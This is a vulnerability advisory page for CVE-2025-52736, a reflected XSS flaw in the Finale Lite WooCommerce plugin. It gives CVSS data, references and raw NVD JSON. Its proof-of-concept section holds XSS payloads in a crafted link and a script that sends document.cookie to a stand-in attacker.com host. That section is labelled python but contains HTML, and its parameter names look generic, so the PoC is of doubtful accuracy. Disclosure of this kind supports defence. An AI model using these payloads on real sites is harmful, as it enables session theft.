CVE-2025-52736

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Daman Jeet Finale Lite finale-woocommerce-sales-countdown-timer-discount allows Reflected XSS.This issue affects Finale Lite: from n/a through <= 2.20.0.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Finale Lite <= 2.20.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-52736 PoC - Reflected XSS in Finale Lite Plugin -->
<!-- Example malicious URL -->
<a href="http://target-site.com/?post_type=product&finale_scan=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E">Click Here</a>

<!-- Or direct exploitation URL -->
<!-- http://target-site.com/?finale_param=<script>alert('XSS')</script> -->

<!-- JavaScript payload for cookie stealing -->
<script>
  fetch('https://attacker.com/log?cookie=' + document.cookie);
</script>

<!-- Recommended testing: -->
<!-- 1. Identify vulnerable parameter -->
<!-- 2. Inject: "><script>alert(document.domain)</script> -->
<!-- 3. If alert pops up, vulnerability is confirmed -->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-52736
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-52736
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-52736/
[4] VulDB https://vuldb.com/cve/CVE-2025-52736
[5] https://patchstack.com/database/Wordpress/Plugin/finale-woocommerce-sales-countdown-timer-discount/vulnerability/wordpress-finale-lite-plugin-2-20-0-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-52736", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:43.713", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Daman Jeet Finale Lite finale-woocommerce-sales-countdown-timer-discount allows Reflected XSS.This issue affects Finale Lite: from n/a through <= 2.20.0."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/finale-woocommerce-sales-countdown-timer-discount/vulnerability/wordpress-finale-lite-plugin-2-20-0-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}